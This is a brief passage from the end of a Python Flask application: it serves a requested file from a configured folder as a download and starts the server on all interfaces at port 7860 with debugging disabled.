return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7860, debug=False)